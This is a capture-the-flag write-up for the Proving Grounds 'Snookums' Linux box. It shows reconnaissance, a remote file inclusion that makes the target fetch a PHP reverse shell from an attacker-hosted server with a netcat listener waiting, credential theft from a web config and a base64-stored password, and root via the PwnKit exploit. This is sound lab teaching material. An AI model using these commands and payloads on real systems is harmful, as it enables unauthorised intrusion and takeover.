# Snookums Writeup - Proving Grounds

> Intermediate Linux box running Simple PHP Photo Gallery 0.7, exploited via remote file inclusion for a www-data shell, then escalated to root through a base64-encoded MySQL password reused for SSH and PwnKit (CVE-2021-4034).

- **URL:** https://hackindex.io/writeups/snookums
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** rce, credential-reuse, privilege-escalation, mysql, cve-2021-4034
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Snookums runs Simple PHP Photo Gallery 0.7, vulnerable to a remote file inclusion (EDB-48424) that is used to include a hosted PHP reverse shell for a `www-data` shell. A web config leaks MySQL credentials, and a base64-"encoded" password in the database turns out to be reused for SSH, after which PwnKit (CVE-2021-4034) finishes the job.

## Reconnaissance

### Nmap

A full TCP scan reveals a wide spread of services.

```bash
nmap -p- -sV $TARGET_IP
# 21/tcp    open ftp         vsftpd 3.0.2
# 22/tcp    open ssh         OpenSSH 7.4
# 80/tcp    open http        Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
# 111/tcp   open rpcbind     2-4
# 139/tcp   open netbios-ssn Samba smbd 3.X - 4.X
# 445/tcp   open netbios-ssn Samba smbd 4.10.4
# 3306/tcp  open mysql       MySQL (unauthorized)
# 33060/tcp open mysqlx?
```

Anonymous FTP and the Samba shares turn up nothing useful. Port 80 runs a Simple PHP Photo Gallery install.

### Directory discovery

Brute force directories on the web root.

```bash
dirsearch -u http://$TARGET_IP/
# [200]  /image.php
# [200]  /index.php
# [301]  /icons/
```

## Enumeration

Simple PHP Photo Gallery v0.7 is a minimal PHP gallery app. Its `image.php` handler is vulnerable to **remote file inclusion**, including the `file` parameter without sanitizing it.

```bash
searchsploit simple php photo gallery
# Simple PHP Photo Gallery 0.7 - Remote File Inclusion | php/webapps/48424.txt
```

## Exploitation

### Remote file inclusion (EDB-48424)

Host a PHP reverse shell on the attacker machine, then include it through the vulnerable parameter.

```bash
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
# edit shell.php: set $ip and $port
python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 ...
```

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```bash
curl "http://$TARGET_IP/image.php?img=http://$ATTACKER_IP/shell.php"
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# bash-4.2$ cat /var/www/local.txt
```

Shell as `www-data` (apache).

## Privilege Escalation

### MySQL credentials in a web config

Read the gallery's database config.

```php
$db_host = "localhost";
$db_user = "Root";
$db_pass = "$MYSQL_ROOT_PASSWORD";
$db_name = "SimplePHPGal";
```

Those credentials unlock the application's own MySQL database.

```bash
mysql -u Root -p$MYSQL_ROOT_PASSWORD -e "SELECT * FROM SimplePHPGal.users;"
# +----------+------------------------+
# | username | password               |
# +----------+------------------------+
# | josh     | <snip, base64>         |
# | michael  | <base64 of $MICHAEL_PASSWORD> |
# | serena   | <snip, base64>         |
# +----------+------------------------+
```

Michael's password is only base64-encoded, not hashed, so it decodes directly to plaintext.

```bash
echo "<base64 of $MICHAEL_PASSWORD>" | base64 -d
# $MICHAEL_PASSWORD
```

```bash
ssh michael@$TARGET_IP
# michael@$TARGET_IP's password: $MICHAEL_PASSWORD
# [michael@snookums ~]$ id
# uid=1000(michael) gid=1000(michael) groups=1000(michael)
```

The database password is reused as michael's real login. Shell as `michael`.

### PwnKit (CVE-2021-4034)

The box runs a vulnerable PolicyKit, exploitable with PwnKit, a memory corruption in `pkexec` that lets any local user escalate to root.

```bash
gcc pwnkit.c -o pwnkit
./pwnkit
# # id
# uid=0(root) gid=0(root) groups=0(root),1000(michael)
```

PwnKit hands over a root shell.

Related

## References

- [Exploit-DB 48424](https://www.exploit-db.com/exploits/48424) - Simple PHP Photo Gallery 0.7 remote file inclusion.
- [CVE-2021-4034](https://nvd.nist.gov/vuln/detail/CVE-2021-4034) - PwnKit: Polkit pkexec memory corruption local privilege escalation.